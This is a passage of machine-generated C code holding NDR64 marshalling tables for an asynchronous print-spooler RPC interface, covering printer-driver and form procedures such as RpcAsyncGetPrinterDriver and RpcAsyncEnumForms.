      (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag389,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag391,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag449,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pcbData */      /* parameter pcbData */\n        &__midl_frag449,\n        { \n        /* pcbData */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag367_t __midl_frag367 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag366_t __midl_frag366 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag365_t __midl_frag365 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag366\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag367\n    }\n};\n\nstatic const __midl_frag364_t __midl_frag364 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag365\n};\n\nstatic const __midl_frag362_t __midl_frag362 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag361_t __midl_frag361 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag362\n};\n\nstatic const __midl_frag359_t __midl_frag359 =\n{ \n/* RpcAsyncGetPrinterDriver */\n    { \n    /* RpcAsyncGetPrinterDriver */      /* procedure RpcAsyncGetPrinterDriver */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 88 /* 0x58 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 11 /* 0xb */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag361,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag380,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriver */      /* parameter pDriver */\n        &__midl_frag364,\n        { \n        /* pDriver */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag389,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag389,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* dwClientMajorVersion */      /* parameter dwClientMajorVersion */\n        &__midl_frag389,\n        { \n        /* dwClientMajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* dwClientMinorVersion */      /* parameter dwClientMinorVersion */\n        &__midl_frag389,\n        { \n        /* dwClientMinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMaxVersion */      /* parameter pdwServerMaxVersion */\n        &__midl_frag389,\n        { \n        /* pdwServerMaxVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMinVersion */      /* parameter pdwServerMinVersion */\n        &__midl_frag389,\n        { \n        /* pdwServerMinVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag356_t __midl_frag356 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag380\n};\n\nstatic const __midl_frag352_t __midl_frag352 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag351_t __midl_frag351 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag350_t __midl_frag350 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag351\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag352\n    }\n};\n\nstatic const __midl_frag349_t __midl_frag349 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag350\n};\n\nstatic const __midl_frag348_t __midl_frag348 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag346_t __midl_frag346 =\n{ \n/* RpcAsyncEnumForms */\n    { \n    /* RpcAsyncEnumForms */      /* procedure RpcAsyncEnumForms */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag348,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag349,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag380,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag380,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag380,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag344_t __midl_frag344 =\n{ \n/* *FORM_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag307\n};\n\nstatic const __midl_frag343_t __midl_frag343 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag342_t __midl_frag342 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag343\n};\n\nstatic const __midl_frag340_t __midl_frag340 =\n{ \n/* RpcAsyncSetForm */\n    { \n    /* RpcAsyncSetForm */      /* procedure RpcAsyncSetForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag343,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag307,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag329_t __midl_frag329 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag362\n};\n\nstatic const __midl_frag327_t __midl_frag327 =\n{ \n/* RpcAsyncGetForm */\n    { \n    /* RpcAsyncGetForm */      /* procedure RpcAsyncGetForm */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag362,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag380,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag364,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag389,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag389,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag322_t __midl_frag322 =\n{ \n/* RpcAsyncDeleteForm */\n    { \n    /* RpcAsyncDeleteForm */      /* procedure RpcAsyncDeleteForm */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag362,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag320_t __midl_frag320 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag317\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    }\n};\n\nstatic const __midl_frag317_t __midl_frag317 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x63,    /* FC64_CONF_CHAR_STRING */\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag315_t __midl_frag315 =\n{ \n/* RPC_FORM_INFO_2 */\n    { \n    /* RPC_FORM_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_FORM_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag320,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 